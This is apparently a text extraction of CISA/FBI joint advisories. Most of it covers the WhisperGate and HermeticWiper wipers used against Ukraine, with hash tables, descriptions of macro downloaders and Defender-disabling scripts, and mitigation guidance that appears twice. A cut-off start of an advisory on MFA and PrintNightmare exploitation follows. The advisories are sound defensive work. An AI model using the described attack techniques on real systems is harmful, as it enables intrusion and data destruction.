 Service accounts should be explicitly denied permissions to access network
shares and critical data locations.
o Accounts that are used to authenticate to centralized enterprise application servers or
devices should not contain elevated permissions on downstream systems and
resources throughout the enterprise.
Continuously review centralized file share ACLs and assigned permissions.
o Restrict Write/Modify/Full Control permissions when possible.
Monitoring
Audit and review security logs for anomalous references to enterprise-level administrative
(privileged) and service accounts.
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o Failed logon attempts,
o File share access, and
o Interactive logons via a remote session.
Review network flow data for signs of anomalous activity, including:
o Connections using ports that do not correlate to the standard communications flow
associated with an application,
o Activity correlating to port scanning or enumeration, and
o Repeated connections using ports that can be used for command and control
purposes.
Ensure that network devices log and audit all configuration changes.
o Continually review network device configurations and rule sets to ensure that
communications flows are restricted to the authorized subset of rules.
File Distribution
When deploying patches or AV signatures throughout an enterprise, stage the distributions to
include a specific grouping of systems (staggered over a pre-defined period).
o This action can minimize the overall impact in the event that an enterprise patch
management or AV system is leveraged as a distribution vector for a malicious
payload.
Monitor and assess the integrity of patches and AV signatures that are distributed throughout
the enterprise.
o Ensure updates are received only from trusted sources,
o Perform file and data integrity checks, and
o Monitor and audit 
 as related to the data that is distributed from an enterprise
application.
System and Application Hardening
Ensure robust vulnerability management and patching practices are in place.
o CISA maintains a living catalog of known exploited vulnerabilities that carry significant
risk to federal agencies as well as public and private sectors entities. In addition to
thoroughly testing and implementing vendor patches in a timely
and, if possible,
automated
manner, organizations should ensure patching of the vulnerabilities CISA
includes in this catalog.
Ensure that the underlying operating system (OS) and dependencies (e.g., Internet
Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an
application are configured and hardened based upon industry-standard best practice
recommendations. Implement application-level security controls based on best practice
guidance provided by the vendor. Common recommendations include:
o Use role-based access control,
o Prevent end-user capabilities to bypass application-level security controls,
 For example, do not allow users to disable AV on local workstations.
o Remove, or disable unnecessary or unused features or packages, and
o Implement robust application logging and auditing.
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Recovery and Reconstitution Planning
A business impact analysis (BIA) is a key component of contingency planning and preparation. The
overall output of a BIA will provide an organization with two key components (as related to critical
mission/business operations):
Characterization and classification of system components, and
Interdependencies.
Based upon the identification of an organization
s mission critical assets (and their associated
interdependencies), in the event that an organization is impacted by destructive malware, recovery
and reconstitution efforts should be considered.
To plan for this scenario, an organization should address the availability and accessibility for the
following resources (and should include the scope of these items within incident response exercises
and scenarios):
Comprehensive inventory of all mission critical systems and applications:
o Versioning information,
o System/application dependencies,
o System partitioning/storage configuration and connectivity, and
o Asset owners/points of contact.
Contact information for all essential personnel within the organization,
Secure communications channel for recovery teams,
Contact information for external organizational-dependent resources:
o Communication providers,
o Vendors (hardware/software), and
o Outreach partners/external stakeholders
Service contract numbers 
 for engaging vendor support,
Organizational procurement points of contact,
Optical disc image (ISO)/image files for baseline restoration of critical systems and
applications:
o OS installation media,
o Service packs/patches,
o Firmware, and
o Application software installation packages.
Licensing/activation keys for OS and dependent applications,
Enterprise network topology and architecture diagrams,
System and application documentation,
Hard copies of operational checklists and playbooks,
System and application configuration backup files,
Data backup files (full/differential),
System and application security baseline and hardening checklists/guidelines, and
System and application integrity test and acceptance checklists.
Incident Response
Victims of a destructive malware attacks should immediately focus on containment to reduce the
scope of affected systems. Strategies for containment include:
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Determining a vector common to all systems experiencing anomalous behavior (or having
been rendered unavailable)
from which a malicious payload could have been delivered:
o Centralized enterprise application,
o Centralized file share (for which the identified systems were mapped or had access),
o Privileged user account common to the identified systems,
o Network segment or boundary, and
o Common Domain Name System (DNS) server for name resolution.
Based upon the determination of a likely distribution vector, additional mitigation controls can
be enforced to further minimize impact:
o Implement network-based ACLs to deny the identified application(s) the capability to
directly communicate with additional systems,
 Provides an immediate capability to isolate and sandbox specific systems or
resources.
o Implement null network routes for specific IP addresses (or IP ranges) from which the
payload may be distributed,
 An organization
s internal DNS can also be leveraged for this task, as a null
pointer record could be added within a DNS zone for an identified server or
application.
o Readily disable access for suspected user or service account(s),
o For suspect file shares (which may be hosting the infection vector), remove access or
disable the share path from being accessed by additional systems, and
o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g.,
changing golden/silver tickets).
As related to incident response and incident handling, organizations are encouraged to report
incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in
internal investigation of the incident or for possible law enforcement purposes. See Technical
Approaches to Uncovering and Remediating Malicious Activity for more information.
CONTACT
All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at
central@cisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI
24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
RESOURCES
Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical
Infrastructure
Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across
Operational Technologies and Control Systems
Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems
CISA and MS-ISAC: Joint Ransomware Guide
NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events
NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events
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CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical
infrastructure organizations assess, identify and reduce their exposure to threats, including
ransomware. By requesting and leveraging these services, organizations of any size could find
ways to reduce their risk and mitigate attack vectors.
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Co-Authored by:
Product ID: AA22-057A
February 26, 2022
Update: Destructive Malware Targeting
Organizations in Ukraine
SUMMARY
Actions to Take Today:
(Updated April 28, 2022) This advisory has been
updated to include additional Indicators of Compromise
(IOCs) for WhisperGate and technical details for
HermeticWiper, IsaacWiper, HermeticWizard, and
CaddyWiper destructive malware, all of which have been
deployed against Ukraine since January 2022. Additional
IOCs associated with WhisperGate are in the Appendix,
and specific malware analysis reports (MAR) are
hyperlinked below.
Set antivirus and antimalware
programs to conduct regular scans.
Enable strong spam filters to
prevent phishing emails from
reaching end users.
Filter network traffic.
Update software.
Require multifactor authentication.
Refer to MAR-10375867.r1.v1 for technical details on HermeticWiper.
Refer to MAR-10376640.r1.v1 for technical details on IsaacWiper and HermeticWizard
Refer to MAR-10376640.r2.v1 for technical details on CaddyWiper.
(end of update)
Leading up to Russia
s unprovoked attack against Ukraine, threat actors deployed destructive
malware against organizations in Ukraine to destroy computer systems and render them inoperable.
On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that
malware, known as WhisperGate, was being used to target organizations in Ukraine.
According to Microsoft, WhisperGate is intended to be destructive and is designed to render
targeted devices inoperable.
On February 23, 2022, several cybersecurity researchers disclosed that malware known as
HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs,
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local
FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI
s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and
location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the
submitting company or organization; and a designated point of contact. To request incident response resources or technical
assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries
minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to
standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic
Light Protocol, see https://www.cisa.gov/tlp. TLP
TLP:WHITE
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the malware targets Windows devices, manipulating the master boot record, which results in
subsequent boot failure.
Destructive malware can present a direct threat to an organization
s daily operations, impacting the
availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine
are likely to occur and may unintentionally spill over to organizations in other countries. Organizations
should increase vigilance and evaluate their capabilities encompassing planning, preparation,
detection, and response for such an event.
This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security
Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and
HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to
detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and
considerations for organizations to address as part of network architecture, security baseline,
continuous monitoring, and incident response practices.
TECHNICAL DETAILS
Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper,
against organizations in Ukraine to destroy computer systems and render them inoperable. Listed
below are high-level summaries of campaigns employing the malware. CISA recommends
organizations review the resources listed below for more in-depth analysis and see the Mitigation
section for best practices on handling destructive malware.
On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation
targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that
corrupts a system
s master boot record, displays a fake ransomware note, and encrypts files based
on certain file extensions. Note: although a ransomware message is displayed during the attack,
Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is
paid. See Microsoft
s blog on Destructive malware targeting Ukrainian organizations for more
information and see the IOCs in table 1.
Table 1: IOCs associated with WhisperGate
Name
File Category
File Hash
Source
WhisperGate
stage1.exe
a196c6b8ffcb97ffb276d04f354696e2391
311db3841ae16c8c9f56f36a38e92
Microsoft
MSTIC
WhisperGate
stage2.exe
dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f
5329958d38b58c3fd9384081c9b78
Microsoft
MSTIC
(Updated April 28, 2022) See Appendix: Additional IOCs associated with WhisperGate.
On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper
was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets
Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
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Note: according to Broadcom Software, 
[HermeticWiper] has some similarities to the earlier
WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
 See the
following resources for more information and see the IOCs in table 2 below.
ESET Research Tweet: Breaking. #ESETResearch discovered a new data wiper malware
used in Ukraine today. ESET telemetry shows that it was installed on hundreds of machines in
the country.
Sentinel Labs: HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine
Broadcom Software
s Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede
Russian Invasion
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Table 2: IOCs associated with HermeticWiper
Name
File Category
File Hash
Source
Win32/KillDisk
.NCV
Trojan
912342F1C840A42F6B74132F8A7C4FFE7D4
0FB77
61B25D11392172E587D8DA3045812A66C33
85451
ESET
research
HermeticWiper
Win32 EXE
912342f1c840a42f6b74132f8a7c4ffe7d4
0fb77
Sentinel
Labs
HermeticWiper
Win32 EXE
61b25d11392172e587d8da3045812a66c33
85451
Sentinel
Labs
RCDATA_DRV_X64
ms-compressed
a952e288a1ead66490b3275a807f52e5
Sentinel
Labs
RCDATA_DRV_X86
ms-compressed
231b3385ac17e41c5bb1b1fcb59599c4
Sentinel
Labs
RCDATA_DRV_XP_
ms-compressed
095a1678021b034903c85dd5acb447ad
Sentinel
Labs
RCDATA_DRV_XP_
ms-compressed
eb845b7a16ed82bd248e395d9852f467
Sentinel
Labs
Trojan.Killdis
Trojan.Killdis
1bc44eef75779e3ca1eefb8ff5a64807dbc
942b1e4a2672d77b9f6928d292591
Symantec
Threat
Hunter
Team
Trojan.Killdis
Trojan.Killdis
0385eeab00e946a302b24a91dea4187c121
0597b8e17cd9e2230450f5ece21da
Symantec
Threat
Hunter
Team
Trojan.Killdis
Trojan.Killdis
a64c3e0522fad787b95bfb6a30c3aed1b57
86e69e88e023c062ec7e5cebf4d3e
Symantec
Threat
Hunter
Team
Ransomware
Trojan.Killdis
4dc13bb83a16d4ff9865a51b3e4d2411232
7c526c1392e14d56f20d6f4eaf382
Symantec
Threat
Hunter
Team
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MITIGATIONS
Best Practices for Handling Destructive Malware
As previously noted above, destructive malware can present a direct threat to an organization
s daily
operations, impacting the availability of critical assets and data. Organizations should increase
vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and
response, for such an event. This section is focused on the threat of malware using enterprise-scale
distributed propagation methods and provides recommended guidance and considerations for an
organization to address as part of their network architecture, security baseline, continuous monitoring,
and incident response practices.
CISA and the FBI urge all organizations to implement the following recommendations to increase their
cyber resilience against this threat.
Potential Distribution Vectors
Destructive malware may use popular communication tools to spread, including worms sent through
email and instant messages, Trojan horses dropped from websites, and virus-infected files
downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on
systems for quiet and easy access.
The malware has the capability to target a large scope of systems and can execute across multiple
systems throughout a network. As a result, it is important for organizations to assess their
environment for atypical channels for malware delivery and/or propagation throughout their systems.
Systems to assess include:
Enterprise applications 
 particularly those that have the capability to directly interface with
and impact multiple hosts and endpoints. Common examples include:
o Patch management systems,
o Asset management systems,
o Remote assistance software (typically used by the corporate help desk),
o Antivirus (AV) software,
o Systems assigned to system and network administrative personnel,
o Centralized backup servers, and
o Centralized file shares.
While not only applicable to malware, threat actors could compromise additional resources to impact
the availability of critical data and applications. Common examples include:
Centralized storage devices
o Potential risk 
 direct access to partitions and data warehouses.
Network devices
o Potential risk 
 capability to inject false routes within the routing table, delete specific
routes from the routing table, remove/modify configuration attributes, or destroy
firmware or system binaries
which could isolate or degrade availability of critical
network resources.
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Best Practices and Planning Strategies
Common strategies can be followed to strengthen an organization
s resilience against destructive
malware. Targeted assessment and enforcement of best practices should be employed for enterprise
components susceptible to destructive malware.
Communication Flow
Ensure proper network segmentation.
Ensure that network-based access control lists (ACLs) are configured to permit server-to-host
and host-to-host connectivity via the minimum scope of ports and protocols and that
directional flows for connectivity are represented appropriately.
o Communications flow paths should be fully defined, documented, and authorized.
Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or
directly connect to additional endpoints throughout the enterprise.
o Ensure that these systems are contained within restrictive Virtual Local Area Networks
(VLANs), with additional segmentation and network access controls.
Ensure that centralized network and storage devices
 management interfaces reside on
restrictive VLANs.
o Layered access control, and
o Device-level access control enforcement 
 restricting access from only pre-defined
VLANs and trusted IP ranges.
Access Control
For enterprise systems that can directly interface with multiple endpoints:
o Require multifactor authentication for interactive logons.
o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
 If possible, the 
Everyone,
Domain Users,
 or the 
Authenticated Users
groups should not be permitted the capability to directly access or authenticate
to these systems.
o Ensure that unique domain accounts are used and documented for each enterprise
application service.
 Context of permissions assigned to these accounts should be fully documented
and configured based upon the concept of least privilege.
 Provides an enterprise with the capability to track and monitor specific actions
correlating to an application
s assigned service account.
o If possible, do not grant a service account with local or interactive logon permissions.
 Service accounts should be explicitly denied permissions to access network
shares and critical data locations.
o Accounts that are used to authenticate to centralized enterprise application servers or
devices should not contain elevated permissions on downstream systems and
resources throughout the enterprise.
Continuously review centralized file share ACLs and assigned permissions.
o Restrict Write/Modify/Full Control permissions when possible.
Monitoring
Audit and review security logs for anomalous references to enterprise-level administrative
(privileged) and service accounts.
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o Failed logon attempts,
o File share access, and
o Interactive logons via a remote session.
Review network flow data for signs of anomalous activity, including:
o Connections using ports that do not correlate to the standard communications flow
associated with an application,
o Activity correlating to port scanning or enumeration, and
o Repeated connections using ports that can be used for command and control
purposes.
Ensure that network devices log and audit all configuration changes.
o Continually review network device configurations and rule sets to ensure that
communications flows are restricted to the authorized subset of rules.
File Distribution
When deploying patches or AV signatures throughout an enterprise, stage the distributions to
include a specific grouping of systems (staggered over a pre-defined period).
o This action can minimize the overall impact in the event that an enterprise patch
management or AV system is leveraged as a distribution vector for a malicious
payload.
Monitor and assess the integrity of patches and AV signatures that are distributed throughout
the enterprise.
o Ensure updates are received only from trusted sources,
o Perform file and data integrity checks, and
o Monitor and audit 
 as related to the data that is distributed from an enterprise
application.
System and Application Hardening
Ensure robust vulnerability management and patching practices are in place.
o CISA maintains a living catalog of known exploited vulnerabilities that carry significant
risk to federal agencies as well as public and private sectors entities. In addition to
thoroughly testing and implementing vendor patches in a timely
and, if possible,
automated
manner, organizations should ensure patching of the vulnerabilities CISA
includes in this catalog.
Ensure that the underlying operating system (OS) and dependencies (e.g., Internet
Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an
application are configured and hardened based upon industry-standard best practice
recommendations. Implement application-level security controls based on best practice
guidance provided by the vendor. Common recommendations include:
o Use role-based access control,
o Prevent end-user capabilities to bypass application-level security controls,
 For example, do not allow users to disable AV on local workstations.
o Remove, or disable unnecessary or unused features or packages, and
o Implement robust application logging and auditing.
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Recovery and Reconstitution Planning
A business impact analysis (BIA) is a key component of contingency planning and preparation. The
overall output of a BIA will provide an organization with two key components (as related to critical
mission/business operations):
Characterization and classification of system components, and
Interdependencies.
Based upon the identification of an organization
s mission critical assets (and their associated
interdependencies), in the event that an organization is impacted by destructive malware, recovery
and reconstitution efforts should be considered.
To plan for this scenario, an organization should address the availability and accessibility for the
following resources (and should include the scope of these items within incident response exercises
and scenarios):
Comprehensive inventory of all mission critical systems and applications:
o Versioning information,
o System/application dependencies,
o System partitioning/storage configuration and connectivity, and
o Asset owners/points of contact.
Contact information for all essential personnel within the organization,
Secure communications channel for recovery teams,
Contact information for external organizational-dependent resources:
o Communication providers,
o Vendors (hardware/software), and
o Outreach partners/external stakeholders
Service contract numbers 
 for engaging vendor support,
Organizational procurement points of contact,
Optical disc image (ISO)/image files for baseline restoration of critical systems and
applications:
o OS installation media,
o Service packs/patches,
o Firmware, and
o Application software installation packages.
Licensing/activation keys for OS and dependent applications,
Enterprise network topology and architecture diagrams,
System and application documentation,
Hard copies of operational checklists and playbooks,
System and application configuration backup files,
Data backup files (full/differential),
System and application security baseline and hardening checklists/guidelines, and
System and application integrity test and acceptance checklists.
Incident Response
Victims of a destructive malware attacks should immediately focus on containment to reduce the
scope of affected systems. Strategies for containment include:
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Determining a vector common to all systems experiencing anomalous behavior (or having
been rendered unavailable)
from which a malicious payload could have been delivered:
o Centralized enterprise application,
o Centralized file share (for which the identified systems were mapped or had access),
o Privileged user account common to the identified systems,
o Network segment or boundary, and
o Common Domain Name System (DNS) server for name resolution.
Based upon the determination of a likely distribution vector, additional mitigation controls can
be enforced to further minimize impact:
o Implement network-based ACLs to deny the identified application(s) the capability to
directly communicate with additional systems,
 Provides an immediate capability to isolate and sandbox specific systems or
resources.
o Implement null network routes for specific IP addresses (or IP ranges) from which the
payload may be distributed,
 An organization
s internal DNS can also be leveraged for this task, as a null
pointer record could be added within a DNS zone for an identified server or
application.
o Readily disable access for suspected user or service account(s),
o For suspect file shares (which may be hosting the infection vector), remove access or
disable the share path from being accessed by additional systems, and
o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g.,
changing golden/silver tickets).
As related to incident response and incident handling, organizations are encouraged to report
incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in
internal investigation of the incident or for possible law enforcement purposes. See Technical
Approaches to Uncovering and Remediating Malicious Activity for more information.
CONTACT
All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at
central@cisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI
24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
RESOURCES
Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical
Infrastructure
Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across
Operational Technologies and Control Systems
Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems
CISA and MS-ISAC: Joint Ransomware Guide
NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events
NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events
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CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical
infrastructure organizations assess, identify and reduce their exposure to threats, including
ransomware. By requesting and leveraging these services, organizations of any size could find
ways to reduce their risk and mitigate attack vectors.
UPDATED APRIL 28, 2022:
APPENDIX: Additional IOCS Associated with WhisperGate
The hashes in Table 3 contain malicious binaries, droppers, and macros linked to WhisperGate cyber
actors activity. The binaries are predominantly .Net and are obfuscated. Obfuscation varies; some of
the binaries contain multiple layers of obfuscation. Analysis identified multiple uses of string reversal,
character replacement, base64 encoding, and packing. Additionally, the malicious binaries contain
multiple defenses including VM checks, sandbox detection and evasion, and anti-debugging
techniques. Finally, the sleep command was used in varying lengths via PowerShell to obfuscate
execution on a victim
s network.
All Microsoft .doc files contain a malicious macro that is base64 encoded. Upon enabling the macro,
a PowerShell script runs a sleep command and then downloads a file from an external site. The script
connects to the external website via HTTP to download an executable. Upon download, the
executable is saved to C:\Users\Public\Documents\ filepath on the victim host.
An identified zip file was found to contain the Microsoft Word file macro_t1smud.doc. Once the
macro is enabled, a bash script runs a sleep command and the script connects to
htxxps://the.earth.li/~sgtatham/putty/latest/w32/putty.exe. This binary is likely the
legitimate Putty Secure Shell binary. Upon download the file is saved to
C:\Users\Public\Documents\ file path.
Profile of Malicious Hashes
Saintbot (and related .Net loaders)
WhisperGate Malware and related VB files
Quasar RAT
.NET Infostealer malware
Telegram Bot
Multiple Loaders (mostly utilizing PowerShell that pull down a jpg or bin files)
Jpg/PNG files = obfuscated executables
antidef.bat = likely a bat file to disable Windows Defender
Table 3: Additional IOCs associated with WhisperGate
Hash
Associated Files
647ebdca2ef6b74b17bb126df19bf0ed88341650
loader2132.exe
24f71409bde9d01e3519236e66f3452236302e46
saint.exe
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1e3497ac435936be06ba665a4acd06b850cf56b4
loader.exe
981319f00b654d0142430082f2e636ef69a377d9
Yudjcfoyg.exe
e0dbe49c9398a954095ee68186f391c288b9fcc5
Project_1.exe
0ba64c284dc0e13bc3f7adfee084ed25844da3d2
Hjtiyz.jpg
6b8eab6713abb7c1c51701f12f23cdff2ff3a243
Ltfckzl.jpg
3bbb84206f0c81f7fd57148f913db448a8172e92
Vgdnggv.jpg
7c77b1c72a2228936e4989de2dfab95bfbbbc737
Pfiegomql.jpg
c0cd6f8567df73e9851dbca4f7c4fbfe4813a2e1
Fezpwij.jpg
d6830184a413628db9946faaae8b08099c0593a0
Bqpptgcal.jpg
d083da96134924273a7cbc8b6c51c1e92de4f9e1
loader.jpg
d599f16e60a916f38f201f1a4e6d73cb92822502
Debythht.jpg
9b9374a5e376492184a368fcc6723a7012132eae
Dmhdgocsp.jpg
86bd95db7b514ea0185dba7876fa612fae42b715
Zysyrokzk.jpg
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Tbopbh.jpg
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Lxkdjr.jpg
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Twojt.bin
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Yarfe.bin
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Pkbsu.bin
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Pkcxiu.bin
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loader.bin
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loader.bin
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Qmpnrffn.bin
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Vpzhote.bin
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Yymmdbfrb.bin
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Zlhmmwutx.bin
13ca079770f6f9bdddfea5f9d829889dc1fbc4ed
Xhlnfjeqy.bin
Page 11 of 16 | Product ID: AA22-057A
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CISA | FBI
TLP:WHITE
c99c982d1515ade3da81268e79f5e5f7d550aabd
Gpfsqm.png
d6ffa42548ff12703e38c5db6c9c39c34fe3d82a
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Nxoaa.com
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Lxkdjr.com
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www.google.com
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Ofewufeiy.exe
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load.exe
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loader.exe
12f50a97955497c49f9603ea2531384e430f0df5
loader.exe
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Wdlord.bin
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Ofewufeiy.bin
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Bdfjvu.bin
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Jdnpanki.bin
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downloader.bin
f6acdc16c695c3c219116aea3d585efedcafdab5
up74987340.bin
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CISA | FBI
TLP:WHITE
c3181fd7cb463893fc73974acc0016605d90ef6c
Tdivhgry.png
731dab83ef1d02203db64fbefbe59f3791db1e21
Mbowytboz.png
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Tlmbluje.png
5dbd68dd3bab6f3a06e303d68bb23e37994084eb
loader.png
ac618c4ece55eca2b067bedd2ce963b8ada30b40
antidef.bat
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antidef.bat
c4f8d6354ef3ee4e437aa7312df0121446d3a71f
antidef.bat
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antidef.bat
87a36b87bade46d0b0614b104152db7814808b21
antidef.bat
d3ff54b679922ff9296bfb1b4c379d361f44afd9
1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
d57100a6d734be30a8a92734175a67983c7b0c32
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CISA | FBI
TLP:WHITE
ba9a811915c3134bfde4414b051a8e6d7949080c
1631031555.doc
1d543a67ea0fcbc5cdc3d698af0d285356d2001b
1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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1631031555.doc
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CISA | FBI
TLP:WHITE
f831bb0148a8f9d34f914d9560be062c821a7d83
1631031555.doc
b48cbc3ba518c9db5840169e1e21b3ca66cd8177
1631031555.doc
3bb75935fc79205dffccb6102a19f0b96300ab70
1631031555.doc
9d0d4de1d09624de659ce39f449ce5a17f1bef50
1631031555.doc
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1631031555.doc
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1631031555.doc
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1621031555.doc
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1621031555.doc
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1621031555.doc
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1621031555.doc
cdcccb2a011cd22f49d7a96ffb06df3fe334f960
1621031555.doc
5ec9d35b41ee59d109370b257603aa804ecb7c15
1621031555.doc
42a28a4fa6bdb674be63001cd5efff6f7c1b11fc
1621031555.doc
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1621031555.doc
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1621031555.doc
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1622031555.doc
c4ebbfcb3dc47a1260a0af9b3eb9b125f48d22cc
1622031555.doc
59b03cfb7f2d672f66eb6d027244cb1d9f39f30a
16.09.2021.pdf.js
4ac3c035909101ebddcb78573723d4d48b293a6e
loader_exe_64_97975_1.exe
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api_signed_3.exe
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api_crypted_2.exe
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payload.exe
2ee451947da9efdee0e9f39c9623f388297db6b4
test2.exe
21312d.exe
c681f91c80673deff9f6efa61060f597fc0c1cd0
payload.exe
d8d875f31c4d7c40cfd6483d6b250943d4f5e437
api177_crypted.exe
f24c3237a1612888c8b5526e557a963f3b73e984
api177_signed.exe
76152dc6243ae29d8315f24f6e9449d620f672cd
Fearsomely.exe
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CISA | FBI
TLP:WHITE
d08d894023b16b8374466e6e9ede97f56f7cd4c7
firstgoon.exe
f7ab3996edf81551fdd867fdd28a616491445c38
test4.exe
31ef83a2032cdcc2412991a8fbfe75ed1eed11e8
documents.exe
d08d894023b16b8374466e6e9ede97f56f7cd4c7
firstgoon1.exe
8b9e47457a645d41b98ba07249e8cc3406831cb5
7.exe
f9b6fff55fef34fc49432c8338eb3e9c0c44286e
Matrix_MAX.exe
b91ede2fa35ea3d4031fb51c32bc8211ab5f1e75
crypted.exe
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crypted_2.exe
4a434c738e402242ecca92182312f04ce336ff86
work.exe
3e50a761cd4bbd9eeaf8f6b9629f9ce871d6f2dd
SLP.exe
6c216522d2a1211399fb08567fcdec1d341340e3
Downloader.exe
6d11b5e4fce9c580b06298ca3dd4a6134fe4b520
Xhlnfjeqy.exe
3ac2d185c28548d43ea47b8fa3795b4308a4c39d
Jdnpanki.exe
e0770b79e372f2cab86ae2ec33b5160708059eee
payload.vbs
payload_2.vbs
98ab3ae46358a66c480810d1e4f24ef730e4dc7e
1.rar
Page 16 of 16 | Product ID: AA22-057A
TLP:WHITE
TLP:WHITE
Product ID: AA22-074A
March 15, 2022
Russian State-Sponsored Cyber Actors Gain
Network Access by Exploiting Default
Multifactor Authentication Protocols and
PrintNightmare
 Vulnerability
SUMMARY
The Federal Bureau of Investigation (FBI) and
Multifactor Authentication (MFA):
Cybersecurity and Infrastructure Security
A Cybersecurity Essential
Agency (CISA) are releasing this joint
MFA is one of the most important
Cybersecurity Advisory (CSA) to warn
cybersecurity practices to reduce the risk of
organizations that Russian state-sponsored
intrusions
according to industry research,
cyber actors have gained network access
users who enable MFA are up to 99 percent
through exploitation of default MFA protocols
less likely to have an account compromised.
and a known vulnerability. As early as May
2021, Russian state-sponsored cyber actors
Every organization should enforce MFA for all
took advantage of a misconfigured account set
employees and customers, and every user
to default MFA protocols at a non-governmental
should sign up for MFA when available.
organization (NGO), allowing them to enroll a
Organizations that implement MFA should
new device for MFA and access the victim
review default configurations and modify as
network. The actors then exploited a critical
necessary, to reduce the likelihood that a
Windows Print Spooler vulnerability,
sophisticated adversary can circumvent this
PrintNightmare
 (CVE-2021-34527) to run
control.
arbitrary code with system privileges. Russian
state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using
Cisco
s Duo MFA, enabling access to cloud and email accounts for document exfiltration.
This advisory provides observed tactics, techniques, and procedures, indicators of compromise
(IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact
your local FBI field office at fbi.gov/contact-us/field-offices, or the FBI
s 24/7 Cyber Watch (CyWatch) at (855)
292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding
the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment
used for the activity; the name of the submitting company or organization; and a designated point of contact. To
request incident response resources or technical assistance related to these threats, contact CISA at
report@cisa.gov.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information
carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public
release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see cisa.gov/tlp/.
TLP:WHITE
FBI | CISA
TLP:WHITE
FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this
advisory, including the following:
Enforce MFA and review configuration policies to protect against 
fail open
 and re-enrollment
scenarios.
Ensure inactive accounts are disabled uniformly across the Active Directory and MFA
systems.
Patch all systems. Prioritize patching for known exploited vulnerabilities.
For more general information on Russian state-sponsored malicious cyber activity, see CISA's Russia
Cyber Threat Overview and Advisories webpage. For more information on the threat of Russian statesponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation
recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber
Threats to U.S. Critical Infrastructure and CISA
s Shields Up Technical Guidance webpage.
For a downloadable copy of IOCs, see AA22-074A.stix.
TECHNICAL DETAILS
Threat Actor Activity
Note: This advisory uses the MITRE ATT&CK
 for Enterprise framework, version 10. See appendix A for a
table of the threat actors
 activity mapped to MITRE ATT&CK tactics and techniques.
As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an
NGO, exploit a flaw in default MFA protocols, and move laterally to the NGO
s cloud environment.
Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via
compromised credentials [T1078] and enrolling a new device in the organization
s Duo MFA. The
